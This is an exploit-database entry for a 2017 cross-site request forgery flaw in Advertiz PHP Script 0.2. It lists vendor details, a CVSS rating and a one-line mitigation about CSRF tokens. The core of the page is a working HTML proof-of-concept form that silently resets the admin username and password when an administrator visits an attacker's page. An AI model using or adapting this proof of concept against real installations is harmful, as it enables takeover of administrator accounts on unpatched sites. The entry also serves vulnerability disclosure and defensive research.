header-logo
Suggest Exploit
vendor:
Advertiz PHP Script
by:
Ihsan Sencan
7,8
CVSS
HIGH
Cross-Site Request Forgery
352
CWE
Product Name: Advertiz PHP Script
Affected Version From: 0.2
Affected Version To: 0.2
Patch Exists: NO
Related CWE: N/A
CPE: a:dijiteol:advertiz_php_script:0.2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: WiN7_x64/KaLiLinuX_x64
2017

Advertiz PHP Script 0.2 – Cross-Site Request Forgery (Update Admin User&Pass)

Advertiz PHP Script 0.2 is vulnerable to Cross-Site Request Forgery (CSRF) which allows an attacker to update the admin username and password. An attacker can craft a malicious HTML page containing a form with the username and password fields pre-filled with the desired values. When the admin visits the malicious page, the form will be automatically submitted and the admin's credentials will be updated.

Mitigation:

Implement CSRF protection mechanisms such as synchronizer tokens, origin checks, and referrer checks.
Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: Advertiz PHP Script 0.2 - Cross-Site Request Forgery (Update Admin User&Pass)
# Dork: N/A
# Date: 06.09.2017
# Vendor Homepage: http://www.dijiteol.com/
# Software Link: http://www.dijiteol.com/p-Advertiz-PHP-Script--No-Accounts-Required--i-2.html
# Demo: http://dijiteol.com/demos/advertiz/
# Version: 0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# 
# Proof of Concept:
<html>
<body>
<form method="post" action="http://localhost/[PATH]/admin/editpersonal.php">
<!--Change admin username-->
<input name="login" type="text" size="20" maxlength="15" value="admin">
<!--Change admin password-->
<input name="pass" type="text" class="keyboardInput" size="20" maxlength="15" value="efe">
<input type="submit" name="Submit" value="Update">
</form>
</body>
</html>
# # # # #